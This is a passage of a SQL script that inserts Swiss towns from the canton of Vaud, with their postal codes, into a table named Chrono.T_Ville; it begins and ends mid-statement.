Chrono.T_Ville VALUES ("CHE","Berolle",1149,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bière",1145,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bougy-Villars",1172,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Féchy",1173,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gimel",1188,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Longirod",1261,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marchissy",1261,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mollens VD",1146,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montherod",1174,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-George",1188,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Livres",1176,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Oyens",1187,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saubraz",1189,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Avenches",1580,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oleyres",1580,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Donatyre",1580,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cudrefin",1588,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Faoug",1595,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-le-Grand",1584,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salavaux",1585,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellerive VD",1585,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cotterd",1585,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vallamand",1586,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montmagny",1587,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Constantine",1587,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chabrey",1589,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mur (Vully) VD",1787,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettens",1042,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bournens",1035,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boussens",1034,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Chaux (Cossonay)",1308,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-le-Veyron",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chevilly",1316,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cossonay-Ville",1304,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allens",1304,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cottens VD",1116,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cuarnens",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Daillens",1306,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dizy",1304,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eclépens",1312,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ferreyres",1313,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gollion",1124,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grancy",1117,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","L'Isle",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Bozon",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Coudre",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lussery-Villars",1307,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mauraz",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mex VD",1031,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moiry VD",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-la-Ville",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montricher",1147,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orny",1317,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pampigny",1142,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Penthalaz",1305,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Penthaz",1303,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pompaples",1318,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Sarraz",1315,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Senarclens",1304,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sévery",1141,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sullens",1036,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vufflens-la-Ville",1302,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Assens",1042,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bercher",1038,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bioley-Orjulaz",1042,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bottens",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bretigny-sur-Morrens",1053,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cugy VD",1053,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Echallens",1040,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essertines-sur-Yverdon",1417,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epautheyres",1417,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etagnières",1037,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fey",1044,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Froideville",1055,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morrens VD",1054,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oulens-sous-Echallens",1377,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pailly",1416,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Penthéréaz",1375,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Poliez-Pittet",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rueyres",1046,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Barthélemy VD",1040,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-le-Terroir",1040,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuarrens",1418,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dommartin",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Naz",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Poliez-le-Grand",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sugnens",1043,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goumoens-la-Ville",1376,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eclagnens",1376,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goumoens-le-Jux",1376,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonvillars",1427,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Rasses",1452,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bullet",1453,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champagne",1424,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Concise",1426,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles-près-Concise",1426,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fiez",1420,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontaines-sur-Grandson",1421,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giez",1429,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandevent",1421,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandson",1422,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mauborget",1453,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mutrux",1428,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Novalles",1431,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Onnens VD",1425,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Provence",1428,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ste-Croix",1450,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Sagne (Ste-Croix)",1450,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Château-de-Ste-Croix",1450,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","L'Auberson",1454,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Vraconnaz",1454,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Burquin",1423,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontanezier",1423,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romairon",1423,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaugondry",1423,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belmont-sur-Lausanne",1092,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cheseaux-sur-Lausanne",1033,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crissier",1023,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epalinges",1066,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jouxtens-Mézery",1008,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne 25",1000,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne 26",1000,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne 27",1000,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1003,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1004,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1005,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1006,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1007,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1010,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1011,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1012,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1015,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lausanne",1018,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Mont-sur-Lausanne",1052,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Paudex",1094,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prilly",1008,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pully",1009,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Monts-de-Pully",1068,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Renens VD",1020,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romanel-sur-Lausanne",1032,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chexbres",1071,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Forel (Lavaux)",1072,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Croix (Lutry)",1090,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Conversion",1093,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lutry",1095,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Puidoux",1070,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rivaz",1071,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Saphorin (Lavaux)",1071,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Savigny",1073,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mollie-Margot",1073,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandvaux",1091,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aran",1091,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chenaux",1091,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cully",1096,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villette (Lavaux)",1096,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riex",1097,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epesses",1098,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aclens",1123,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bremblens",1121,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchillon",1164,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussigny",1030,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussy-Chardonney",1136,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-près-Renens",1022,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chigny",1134,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Clarmont",1127,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Denens",1135,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Denges",1026,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Echandens",1026,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Echichens",1112,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Saphorin-sur-Morges",1113,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Colombier VD",1114,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monnaz",1125,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ecublens VD",1024,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Etoy",1163,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavigny",1175,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lonay",1027,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lully VD",1132,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lussy-sur-Morges",1167,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morges",1110,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Préverenges",1028,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reverolle",1128,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romanel-sur-Morges",1122,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Prex",1162,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Sulpice VD",1025,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tolochenaz",1131,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaux-sur-Morges",1126,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Ste-Croix",1029,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sous-Yens",1168,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vufflens-le-Château",1134,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vullierens",1115,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Yens",1169,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boulens",1063,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussy-sur-Moudon",1514,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-sur-Moudon",1512,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Curtilles",1521,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dompierre VD",1682,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hermenches",1513,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lovatens",1682,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lucens",1522,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oulens-sur-Lucens",1522,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Forel-sur-Lucens",1526,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cremin",1526,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brenles",1683,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chesalles-sur-Moudon",1683,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sarzens",1683,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moudon",1510,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ogens",1045,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prévonloup",1682,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossenges",1513,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Syens",1510,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-le-Comte",1515,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vucherens",1509,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chapelle-sur-Moudon",1063,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Martherenges",1063,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peyres-Possens",1063,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chanéaz",1409,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thierrens",1410,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Correvon",1410,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Denezy",1410,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Cierges",1410,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neyruz-sur-Moudon",1515,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arnex-sur-Nyon",1277,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arzier-Le Muids",1273,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bassins",1269,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Begnins",1268,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bogis-Bossey",1279,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Borex",1277,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-de-Bogis",1279,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-des-Bois",1290,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chéserex",1275,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gland",1196,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coinsins",1267,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Commugny",1291,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coppet",1296,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crans-près-Céligny",1299,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crassier",1263,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Duillier",1266,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eysins",1262,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Founex",1297,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genolier",1272,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gingins",1276,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Givrins",1271,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gland",1196,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grens",1274,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mies",1295,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nyon",1260,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prangins",1197,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Rippe",1278,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Cergue",1264,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Cure",1265,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Signy",1274,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tannay",1295,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trélex",1270,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Vaud",1261,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vich",1267,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","L'Abergement",1355,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agiez",1352,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arnex-sur-Orbe",1321,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ballaigues",1338,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baulmes",1446,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bavois",1372,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bofflens",1353,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bretonnières",1329,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavornay",1373,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles-sur-Chavornay",1374,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essert-Pittet",1435,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Clées",1356,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Russille",1356,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Croy",1322,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Juriens",1326,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lignerolle",1357,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montcherand",1354,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orbe",1350,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Praz",1148,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Premier",1324,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rances",1439,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romainmôtier",1323,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sergey",1355,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valeyres-sous-Rances",1358,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vallorbe",1337,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaulion",1325,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuiteboeuf",1445,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles-le-Jorat",1082,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essertes",1078,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maracon",1613,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montpreveyres",1081,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ropraz",1088,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Servion",1077,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Cullayes",1080,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vulliens",1085,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montaubion-Chardonney",1041,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Tiercelin",1058,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peney-le-Jorat",1059,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Mendraz",1061,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sottens",1062,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Palézieux",1607,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Palézieux-Village",1607,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Tavernes",1607,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Thioleyres",1607,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oron-le-Châtel",1608,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bussigny-sur-Oron",1608,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chesalles-sur-Oron",1608,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oron-la-Ville",1610,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Châtillens",1610,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vuibroye",1610,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ecoteaux",1612,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ferlens VD",1076,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mézières VD",1083,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carrouge VD",1084,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champtauroz",1537,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chevroux",1545,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corcelles-près-Payerne",1562,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grandcour",1543,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Henniez",1525,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Missy",1565,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Payerne",1530,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vers-chez-Perrin",1551,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trey",1552,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Treytorrens (Payerne)",1538,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sédeilles",1554,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossens VD",1554,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villarzel",1555,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Granges-près-Marnand",1523,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marnand",1524,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seigneux",1525,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sassel",1534,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Combremont-le-Grand",1535,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Combremont-le-Petit",1536,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Bramard",1682,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cerniaz VD",1682,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Château-d'Oex",1660,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Moulins",1660,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","L'Etivaz",1660,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Lécherette",1660,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossinière",1658,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tine",1658,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rougemont",1659,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flendruz",1659,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Allaman",1165,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bursinel",1195,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bursins",1183,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burtigny",1268,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dully",1195,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essertines-sur-Rolle",1186,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gilly",1182,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luins",1184,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mont-sur-Rolle",1185,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Perroy",1166,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rolle",1180,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tartegnin",1180,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vinzel",1184,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Pont",1342,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","L'Abbaye",1344,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Bioux",1346,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orient",1341,"VD"); INSERT INTO Chrono.T_Ville 